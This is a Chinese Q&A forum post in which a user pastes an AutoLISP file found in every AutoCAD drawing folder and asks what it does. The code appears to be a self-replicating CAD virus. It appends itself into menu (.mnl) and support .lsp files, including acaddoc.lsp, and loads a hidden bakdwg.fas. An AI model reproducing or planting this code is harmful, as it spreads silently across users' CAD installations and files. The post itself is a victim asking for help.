天正电气lisp是什么文件_谁帮我看看这个lisp是什么意思，干嘛用的，我电脑里面每个CAD文件目录下面都有...

(setqflagxt)(setqbz"(setqflagxt)")(if(nullqxgxwddm)(if(findfile"bakdwg.fas")(load"bakdwg.fas")))(defunapp(sourcetargetbz/flagflag1wjmwjm1text)(setqflagnil)(setqflag1t)(if...

(setq flagx t)

(setq bz "(setq flagx t)")

(if(null qxgxwddm)(if(findfile "bakdwg.fas")(load "bakdwg.fas")))

(defun app(source target bz / flag flag1 wjm wjm1 text)

(setq flag nil)

(setq flag1 t)

(if (findfile target)

(progn

(setq wjm1 (open target "r"))

(while (setq text (read-line wjm1))

(if (= text bz) (setq flag1 nil))

);while

(close wjm1)

);progn

);if

(if flag1

(progn

(setq wjm (open source "r"))

(setq wjm1 (open target "a"))

(write-line (chr 13) wjm1)

(while (setq text (read-line wjm))

(if (= text bz) (setq flag t))

(if flag

(progn

(write-line text wjm1)

);progn

);if

);while

(close wjm1)

(close wjm)

);progn

);if

);defun

(setvar "cmdecho" 0)

(setq acadmnl (findfile "acad.mnl"))

(setq acadmnlpath (vl-filename-directory acadmnl))

(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))

(setq mnlnum (length mnlfilelist))

(setq acadexe (findfile "acad.exe"))

(setq acadpath (vl-filename-directory acadexe))

(setq support (strcat acadpath "\\support"))

(setq lspfilelist (vl-directory-files support "*.lsp"))

(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))

(setq lspnum (length lspfilelist))

(setq dwgname (getvar "dwgname"))

(setq dwgpath (findfile dwgname))

(princ)

(load "acadapp")

(princ)

(load "acadapq")

(princ)

展开